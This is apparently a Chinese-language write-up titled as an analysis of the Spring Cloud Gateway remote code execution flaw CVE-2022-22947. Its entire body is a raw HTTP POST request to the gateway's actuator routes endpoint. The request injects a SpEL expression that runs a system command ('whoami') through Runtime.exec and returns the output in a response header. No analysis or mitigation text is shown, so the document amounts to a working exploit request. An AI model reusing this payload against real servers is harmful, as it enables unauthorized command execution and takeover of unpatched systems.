Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.10.171:8080
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/WEBp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/JSON
Content-Length: 431

{
    "id": "test",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}